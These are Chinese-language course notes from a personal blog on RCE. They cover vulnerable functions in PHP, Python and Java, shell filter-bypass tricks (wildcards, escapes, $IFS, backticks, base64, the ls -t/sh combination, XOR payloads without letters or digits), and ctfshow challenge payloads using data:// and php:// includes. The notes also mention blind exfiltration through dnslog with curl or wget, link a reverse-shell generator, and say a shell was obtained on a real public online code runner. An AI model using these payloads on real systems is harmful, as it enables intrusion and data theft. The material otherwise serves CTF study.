本文发布于529天前,本文最后更新于529 天前,其中的信息可能已经过时,如有错误请留言或评论。
知识点
- RCE-原理-代码执行&命令执行
- RCE-黑白盒-过滤绕过&不回显方案
了解
- RCE代码执行:引用脚本代码解析执行
- RCE命令执行:脚本调用操作系统命令
- 两者可以相互转换,如代码执行传入system(ls)转化为命令执行,命令执行也可以转化为为代码执行(如使用php或python环境变量执行代码)
常见漏洞函数
PHP:
- PHP代码执行函数:
-
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
-
- PHP命令执行函数:
-
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
-
Python:
-
eval exec subprocess os.system commands
Java:
-
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数, 但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
代码执行
- 脚本——java,php,python
- 产生——Web源码、中间件平台、其他环境
- 检测——白盒 代码审计
- 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
- 防御——敏感函数禁用、变量过滤或固定、WAF产品
命令执行
- 系统——Linux、Windows
- 产生——web源码、中间件平台、其他环境
- 检测——白盒 代码审计
- 检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
- 防御——敏感函数禁用、变量过滤或固定、WAF产品
危害
- 反弹webshell/shell
- 远程文件下载后门到网站下,然后进行连接
演示案例
➢RCE-利用&绕过&异或&回显
关键字过滤(过滤flag关键字)
通配符
- *:代表所有字符(一个或多个)。
- ?:代表任意1个字符。
cat fl* cat ?la*
转义符号
ca\t /fl\ag # 后面我自己在Linux测试,这个好像/不行,只能用\ ca\t \fl* cat fl''ag
使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag ca$@t fl$@ag ca$5t f$5lag ca${2}t f${2}lag
拼接法
- $IFS在Linux终端中默认为空格,也可以自己进行修改,这里不知道为什么我的执行会报错,出不来结果,没搜到解决方式。
a=fl;b=ag;cat$IFS$a$b
- 然后我尝试下面这种写法
a=fl;b=ag;cat $a\\$b 报错:cat: 'fl\ag': 没有那个文件或目录 猜测这里是将'fl\ag'当成了字符串,\将其中的a转义了
但是在终端可以执行cat fl\ag出结果,也不知道为什么上面这样不行
- 然后我又尝试下面这样,因为我想既然\将a转义了,那我在前面再加一个\将\转义就好了
└─# a=fl\\;b=ag;cat $a\\$b 报错:cat: 'fl\\ag': 没有那个文件或目录
然后就没尝试了,也不知道为什么
- 在后面那个组合绝活知道了好像是在文本中\代表换行,所以cat 'fl\ag'就直接没了?
反引号绕过
- 反引号在Linux可以执行命令,被反引号包裹的内容会先执行返回结果,然后在执行后续命令
cat `ls` # 如此处先执行ls返回flag,然后语句就拼接成为 cat flag
编码绕过
- 将关键字进行编码,传入命令时进行解码还原为我们需要的值
echo 'flag' | base64 cat `echo ZmxhZwo= | base64 -d` #这里反引号的内容将base64解码还原为flag,最终命令执行为cat flag
组合绝活
- \指的是换行
- ls -t是将文本按时间排序输出
- ls -t >shell 将输出输入到shell文件中
- sh将文本中的文字读取出来执行
touch "ag" touch "fl\\" touch "t \\" touch "ca\\" ls -t >shell sh shell
└─# sh shell # 虽然有报错,但是shell命令还是会进行执行 shell: 1: shell: not found Hello Hacker SuYou. shell: 6: flag: not found
*异或无符号(过滤0-9a-zA-Z)(重点)
案例
如有下面这样一个ctf的php过滤页面
<?php error_reporting(0); // 不报错,不显示任何报错 highlight_file(__FILE__); $code=$_GET['code']; if(preg_match('/[a-z0-9]/i',$code)){ // 过滤所有字母和数字 die('hacker'); } eval($code);
我当时第一眼看到就懵了,字母和数字不论大小写都过滤了,这玩个毛,但是通过特殊字符异或或者或来获得我们想要的字符来绕过这种过滤,方法如下,
- 异或:rce-xor.php & rce-xor.py
- 或:rce-xor-or.php & rce-xor-or.py
- 使用时先根据题目的正则修改php中的正则表达式,任何将生成的txt文件放置到对应py文件的目录下运行py文件来生成自己想要执行的函数和命令。将生成的payload传入接收参数的变量code
脚本源代码
过滤函数关键字
内敛执行绕过(system)
echo `ls`; echo $(ls); ?><?=`ls`; ?><?=$(ls);
过滤执行命令(如cat tac等)
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 sh /flag 2>%261 //报错出文件内容 curl file:///root/f/flag 使用file伪协议读取本地文件 strings flag uniq -c flag bash -v flag rev flag
过滤空格
%09(url传递)(cat%09flag.php) cat${IFS}flag a=fl;b=ag;cat$IFS$a$b {cat,flag} //{commond,arg},第一个参数为要执行的命令,后面的参数都是传入命令的参数
无回显利用
- 直接写个文件到网站目录下访问查看
- 直接进行对外访问接受,直接使用ping|curl|wget等访问dnslog
➢白盒-CTFSHOW-RCE代码命令执行
因为没ctfshow账号,所以没演示,只是听了小迪讲,知识点都是上面小迪讲了的那些。
RCE-29-通配符
system('tac fla*.php');
RCE-30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`; echo shell_exec('tac fla*.ph*');
RCE-31-参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
RCE-32~36-配合包含&伪协议
配合文件包含伪协议(代码执行) include $_GET[a]?>&a=data://text/plain,<?php system('ver');?> include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?> include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?> php://input post:<?php system('tac flag.php');?>
➢黑盒-运行-RCE代码命令执行
代码在线运行平台测试
- 小迪演示使用的:https://www.bejson.com/runcode/php/
- 小迪演示的时候直接拿下了shell
- 截止我现在测试的时候就拿不到了,但是还是能执行一些命令
参考
学习内容均来自小迪安全系列课程:
命令执行一些特殊作用的字符 | Linux Bypass:https://cloud.tencent.com/developer/article/2287224
反弹shell生成器:https://forum.ywhack.com/reverse-shell/